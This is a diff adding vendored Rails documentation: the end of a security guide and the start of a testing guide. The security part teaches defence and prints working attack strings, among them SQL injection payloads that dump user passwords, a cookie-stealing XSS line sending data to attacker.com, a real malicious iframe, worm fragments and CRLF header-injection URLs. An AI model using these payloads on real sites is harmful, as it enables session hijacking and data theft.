Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:

+
+
+
class File < ActiveRecord::Base
+  validates_format_of :name, :with => /^[\w\.\-\+]+$/
+end
+
+

This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, in Ruby ^ and $ matches the line beginning and line end. And thus a file name like this passes the filter without problems:

+
+
+
file.txt%0A<script>alert('hello')</script>
+
+

Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert(hello)</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:

+
+
+
/\A[\w\.\-\+]+\z/
+[source, ruby]
+
+

7.7. Privilege escalation

+

Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.

+

The most common parameter that a user might tamper with, is the id parameter, as in http://www.domain.com/project/1, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:

+
+
+
@project = Project.find(params[:id])
+
+

This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, query the user's access rights, too:

+
+
+
@project = @current_user.projects.find(params[:id])
+
+

Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated.

+

Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.

+
+

8. Injection

+
+

Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.

+

Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.

+

8.1. Whitelists versus Blacklists

+

When sanitizing, protecting or verifying something, whitelists over blacklists.

+

A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), prefer to use whitelist approaches:

+
    +
  • +

    +Use before_filter :only ⇒ […] instead of :except ⇒ […]. This way you don't forget to turn it off for newly added actions. +

    +
  • +
  • +

    +Use attr_accessible instead of attr_protected. See the mass-assignment section for details +

    +
  • +
  • +

    +Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details. +

    +
  • +
  • +

    +Don't try to correct user input by blacklists: +

    +
      +
    • +

      +This will make the attack work: "<sc<script>ript>".gsub("<script>", "") +

      +
    • +
    • +

      +But reject malformed input +

      +
    • +
    +
  • +
+

Whitelists are also a good approach against the human factor of forgetting something in the blacklist.

+

8.2. SQL Injection

+

Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.

+

8.2.1. Introduction

+

SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:

+
+
+
Project.find(:all, :conditions => "name = '#{params[:name]}'")
+
+

This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters OR 1=1, the resulting SQL query will be:

+
+
+
SELECT * FROM projects WHERE name = '' OR 1 --'
+
+

The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.

+

8.2.2. Bypassing authorization

+

Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.

+
+
+
User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")
+
+

If an attacker enters OR '1=1 as the name, and OR 2>'1 as the password, the resulting SQL query will be:

+
+
+
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
+
+

This will simply find the first record in the database, and grants access to this user.

+

8.2.3. Unauthorized reading

+

The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:

+
+
+
Project.find(:all, :conditions => "name = '#{params[:name]}'")
+
+

And now let's inject another query using the UNION statement:

+
+
+
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
+
+

This will result in the following SQL query:

+
+
+
SELECT * FROM projects WHERE (name = '') UNION
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --')
+
+

The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

+

Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails to at least 2.1.1.

+

8.2.4. Countermeasures

+

Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]. But in SQL fragments, especially in conditions fragments (:conditions ⇒ "…"), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually.

+

Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:

+
+
+
Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])
+
+

As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:

+
+
+
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})
+
+

The array or hash form is only available in model instances. You can try sanitize_sql() elsewhere. Make it a habit to think about the security consequences when using an external string in SQL.

+

8.3. Cross-Site Scripting (XSS)

+

The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.

+

8.3.1. Entry points

+

An entry point is a vulnerable URL and its parameters where an attacker can start an attack.

+

The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the Live HTTP Headers Firefox plugin, or client-site proxies make it easy to change requests.

+

XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.

+

During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The Symantec Global Internet Security threat report also documented 239 browser plug-in vulnerabilities in the last six months of 2007. Mpack is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations and many more high targets.

+

A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to Trend Micro.

+

8.3.2. HTML/JavaScript Injection

+

The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. Escaping user input is essential.

+

Here is the most straightforward test to check for XSS:

+
+
+
<script>alert('Hello');</script>
+
+

This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:

+
+
+
<img src=javascript:alert('Hello')>
+<table background="javascript:alert('Hello')">
+
+ +

These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:

+
+
+
<script>document.write(document.cookie);</script>
+
+

For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.

+
+
+
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
+
+

The log files on www.attacker.com will read like this:

+
+
+
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
+
+

You can mitigate these attacks (in the obvious way) by adding the httpOnly flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies will still be visible using Ajax, though.

+
Defacement
+

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:

+
+
+
<iframe name=â€StatPage†src="http://58.xx.xxx.xxx" width=5 height=5 style=â€display:noneâ€></iframe>
+
+

This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an actual attack on legitimate Italian sites using the Mpack attack framework. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.

+

A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.

+

Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson…":

+
+
+
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
+  <script src=http://www.securitylab.ru/test/sc.js></script><!--
+
+
Countermeasures
+

It is very important to filter malicious input, but it is also important to escape the output of the web application.

+

Especially for XSS, it is important to do whitelist input filtering instead of blacklist. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.

+

Imagine a blacklist deletes “script†from the user input. Now the attacker injects “<scrscriptipt>â€, and after the filter, “<script>†remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:

+
+
+
strip_tags("some<<b>script>alert('hello')<</b>/script>")
+
+

This returned "some<script>alert(hello)</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():

+
+
+
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
+
+

This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.

+

As a second step, it is good practice to escape all output of the application, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). Use escapeHTML() (or its alias h()) method to replace the HTML input characters &,",<,> by its uninterpreted representations in HTML (&amp;, &quot;, &lt; and &gt;). However, it can easily happen that the programmer forgets to use it, so it is recommended to use the SafeErb plugin. SafeErb reminds you to escape strings from external sources.

+
Obfuscation and Encoding Injection
+

Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:

+
+
+
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
+  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
+
+

This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemyâ€, is the Hackvertor. Rails‘ sanitize() method does a good job to fend off encoding attacks.

+

8.3.3. Examples from the underground

+

In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.

+

The following is an excerpt from the Js.Yamanner@m Yahoo! Mail worm. It appeared on June 11, 2006 and was the first webmail interface worm:

+
+
+
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+  target=""onload="var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
+
+

The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.

+

Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on Rosario Valotta's website. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.

+

In December 2006, 34,000 actual user names and passwords were stolen in a MySpace phishing attack. The idea of the attack was to create a profile page named “login_home_index_htmlâ€, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.

+

The MySpace Samy worm will be discussed in the CSS Injection section.

+

8.4. CSS Injection

+

CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.

+

CSS Injection is explained best by a well-known worm, the MySpace Samy worm. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.

+

MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:

+
+
+
<div style="background:url('javascript:alert(1)')">
+
+

So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.

+
+
+
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
+
+

The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTMLâ€:

+
+
+
alert(eval('document.body.inne' + 'rHTML'));
+
+

The next problem was MySpace filtering the word “javascriptâ€, so the author used “java<NEWLINE>script" to get around this:

+
+
+
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
+
+

Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.

+

In the end, he got a 4 KB worm, which he injected into his profile page.

+

The moz-binding CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).

+

8.4.1. Countermeasures

+

This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application. Use Rails' sanitize() method as a model for a whitelist CSS filter, if you really need one.

+

8.5. Textile Injection

+

If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. RedCloth is such a language for Ruby, but without precautions, it is also vulnerable to XSS.

+
+
+
For example, RedCloth translates _test_ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:
+
+
+
+
>> RedCloth.new('<script>alert(1)</script>').to_html
+=> "<script>alert(1)</script>"
+
+

Use the :filter_html option to remove HTML which was not created by the Textile processor.

+
+
+
>> RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+=> "alert(1)"
+
+

However, this does not filter all HTML, a few tags will be left (by design), for example <a>:

+
+
+
>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
+=> "<p><a href="javascript:alert(1)">hello</a></p>"
+
+

8.5.1. Countermeasures

+

It is recommended to use RedCloth in combination with a whitelist input filter, as described in the countermeasures against XSS.

+

8.6. Ajax Injection

+

The same security precautions have to be taken for Ajax actions as for “normal†ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.

+

If you use the in_place_editor plugin, or actions that return a string, rather than rendering a view, you have to escape the return value in the action. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.

+

8.7. RJS Injection

+

Don't forget to escape in JavaScript (RJS) templates, too.

+

The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h(). Otherwise an attacker could execute arbitrary JavaScript.

+

8.8. Command Line Injection

+

Use user-supplied command line parameters with caution.

+

If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).

+

A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.

+
+
+
system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files
+
+

8.9. Header Injection

+

HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.

+

HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. Remember to escape these header fields, too. For example when you display the user agent in an administration area.

+

Besides that, it is important to know what you are doing when building response headers partly based on user input. For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:

+
+
+
redirect_to params[:referer]
+
+

What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:

+
+
+
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
+
+

And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:

+
+
+
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
+
+

Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.

+
+
+
HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld
+
+

So attack vectors for Header Injection are based on the injection of CRLF characters in a header field. And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.

+

8.9.1. Response Splitting

+

If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:

+
+
+
HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+<html><font color=red>hey</font></html> [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+

Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.

+
+

9. Additional resources

+
+

The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:

+
+
+

10. Changelog

+
+ +
    +
  • +

    +November 1, 2008: First approved version by Heiko Webers +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/testing_rails_applications.html b/vendor/rails/railties/doc/guides/html/testing_rails_applications.html new file mode 100644 index 00000000..5c5eea60 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/testing_rails_applications.html @@ -0,0 +1,1859 @@ + + + + + A Guide to Testing Rails Applications + + + + + + + + + +
+ + + +
+

A Guide to Testing Rails Applications

+
+
+

This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:

+
    +
  • +

    +Understand Rails testing terminology +

    +
  • +
  • +

    +Write unit, functional and integration tests for your application +

    +
  • +
  • +

    +Identify other popular testing approaches and plugins +

    +
  • +
+

This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.

+
+
+

1. Why Write Tests for your Rails Applications?

+
+
    +
  • +

    +Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers. +

    +
  • +
  • +

    +By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring. +

    +
  • +
  • +

    +Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser. +

    +
  • +
+
+

2. Introduction to Testing

+
+

Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.

+

2.1. The 3 Environments

+

Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.

+

One place you'll find this distinction is in the config/database.yml file. This YAML configuration file has 3 different sections defining 3 unique database setups:

+
    +
  • +

    +production +

    +
  • +
  • +

    +development +

    +
  • +
  • +

    +test +

    +
  • +
+

This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.

+

For example, suppose you need to test your new delete_this_user_and_every_everything_associated_with_it function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?

+

When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running rake db:test:prepare.

+

2.2. Rails Sets up for Testing from the Word Go

+

Rails creates a test folder for you as soon as you create a Rails project using rails application_name. If you list the contents of this folder then you shall see:

+
+
+
$ ls -F test/
+
+fixtures/       functional/     integration/    test_helper.rb  unit/
+
+

The unit folder is meant to hold tests for your models, the functional folder is meant to hold tests for your controllers, and the integration folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the fixtures folder. The test_helper.rb file holds the default configuration for your tests.

+

2.3. The Low-Down on Fixtures

+

For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.

+

2.3.1. What Are Fixtures?

+

Fixtures is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: YAML or CSV. In this guide we will use YAML which is the preferred format.

+

You'll find fixtures under your test/fixtures directory. When you run script/generate model to create a new model, fixture stubs will be automatically created and placed in this directory.

+

2.3.2. YAML

+

YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the .yml file extension (as in users.yml).

+

Here's a sample YAML fixture file:

+
+
+
# low & behold!  I am a YAML comment!
+david:
+ name: David Heinemeier Hansson
+ birthday: 1979-10-15
+ profession: Systems development
+
+steve:
+ name: Steve Ross Kellock
+ birthday: 1974-09-27
+ profession: guy with keyboard
+
+

Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.

+

2.3.3. ERb'in It Up

+

ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.

+
+
+
<% earth_size = 20 -%>
+mercury:
+  size: <%= earth_size / 50 %>
+  brightest_on: <%= 113.days.ago.to_s(:db) %>
+
+venus:
+  size: <%= earth_size / 2 %>
+  brightest_on: <%= 67.days.ago.to_s(:db) %>
+
+mars:
+  size: <%= earth_size - 69 %>
+  brightest_on: <%= 13.days.from_now.to_s(:db) %>
+
+

Anything encased within the

+
+
+
<% %>
+
+

tag is considered Ruby code. When this fixture is loaded, the size attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The brightest_on attribute will also be evaluated and formatted by Rails to be compatible with the database.

+

2.3.4. Fixtures in Action

+

Rails by default automatically loads all fixtures from the test/fixtures folder for your unit and functional test. Loading involves three steps:

+
    +
  • +

    +Remove any existing data from the table corresponding to the fixture +

    +
  • +
  • +

    +Load the fixture data into the table +

    +
  • +
  • +

    +Dump the fixture data into a variable in case you want to access it directly +

    +
  • +
+

2.3.5. Hashes with Special Powers

+

Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:

+
+
+
# this will return the Hash for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+
+

Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.

+
+
+
# using the find method, we grab the "real" david as a User
+david = users(:david).find
+
+# and now we have access to methods only available to a User class
+email(david.girlfriend.email, david.location_tonight)
+
+
+

3. Unit Testing your Models

+
+

In Rails, unit tests are what you write to test your models.

+

For this guide we will be using Rails scaffolding. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.

+
+ + + +
+Note +For more information on Rails scaffolding, refer to Getting Started with Rails
+
+

When you use script/generate scaffold, for a resource among other things it creates a test stub in the test/unit folder:

+
+
+
$ script/generate scaffold post title:string body:text
+...
+create  app/models/post.rb
+create  test/unit/post_test.rb
+create  test/fixtures/posts.yml
+...
+
+

The default test stub in test/unit/post_test.rb looks like this:

+
+
+
require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+  # Replace this with your real tests.
+  def test_truth
+    assert true
+  end
+end
+
+

A line by line examination of this file will help get you oriented to Rails testing code and terminology.

+
+
+
require 'test_helper'
+
+

As you know by now that test_helper.rb specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.

+
+
+
class PostTest < ActiveSupport::TestCase
+
+

The PostTest class defines a test case because it inherits from ActiveSupport::TestCase. PostTest thus has all the methods available from ActiveSupport::TestCase. You'll see those methods a little later in this guide.

+
+
+
def test_truth
+
+

Any method defined within a test case that begins with test (case sensitive) is simply called a test. So, test_password, test_valid_password and testValidPassword all are legal test names and are run automatically when the test case is run.

+
+
+
assert true
+
+

This line of code is called an assertion. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:

+
    +
  • +

    +is this value = that value? +

    +
  • +
  • +

    +is this object nil? +

    +
  • +
  • +

    +does this line of code throw an exception? +

    +
  • +
  • +

    +is the user's password greater than 5 characters? +

    +
  • +
+

Every test contains one or more assertions. Only when all the assertions are successful the test passes.

+

3.1. Preparing you Application for Testing

+

Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:

+
+
+
$ rake db:migrate
+...
+$ rake db:test:load
+
+

Above rake db:migrate runs any pending migrations on the developemnt environment and updates db/schema.rb. rake db:test:load recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run db:test:prepare as it first checks for pending migrations and warns you appropriately.

+
+ + + +
+Note +db:test:prepare will fail with an error if db/schema.rb doesn't exists.
+
+

3.1.1. Rake Tasks for Preparing you Application for Testing ==

+

--------------------------------`---------------------------------------------------- +Tasks Description

+
+
+
+rake db:test:clone+            Recreate the test database from the current environment's database schema
++rake db:test:clone_structure+  Recreate the test databases from the development structure
++rake db:test:load+             Recreate the test database from the current +schema.rb+
++rake db:test:prepare+          Check for pending migrations and load the test schema
++rake db:test:purge+            Empty the test database.
+
+
+ + + +
+Tip +You can see all these rake tasks and their descriptions by running rake —tasks —describe
+
+

3.2. Running Tests

+

Running a test is as simple as invoking the file containing the test cases through Ruby:

+
+
+
$ cd test
+$ ruby unit/post_test.rb
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+
+

This will run all the test methods from the test case.

+

You can also run a particular test method from the test case by using the -n switch with the test method name.

+
+
+
$ ruby unit/post_test.rb -n test_truth
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+
+

The . (dot) above indicates a passing test. When a test fails you see an F; when a test throws an error you see an E in its place. The last line of the output is the summary.

+

To see how a test failure is reported, you can add a failing test to the post_test.rb test case.

+
+
+
def test_should_not_save_post_without_title
+  post = Post.new
+  assert !post.save
+end
+
+

Let us run this newly added test.

+
+
+
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+F
+Finished in 0.197094 seconds.
+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest)
+    [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
+     /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
+<false> is not true.
+
+1 tests, 1 assertions, 1 failures, 0 errors
+
+

In the output, F denotes a failure. You can see the corresponding trace shown under 1) along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:

+
+
+
def test_should_not_save_post_without_title
+  post = Post.new
+  assert !post.save, "Saved the post without a title"
+end
+
+

Running this test shows the friendlier assertion message:

+
+
+
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+F
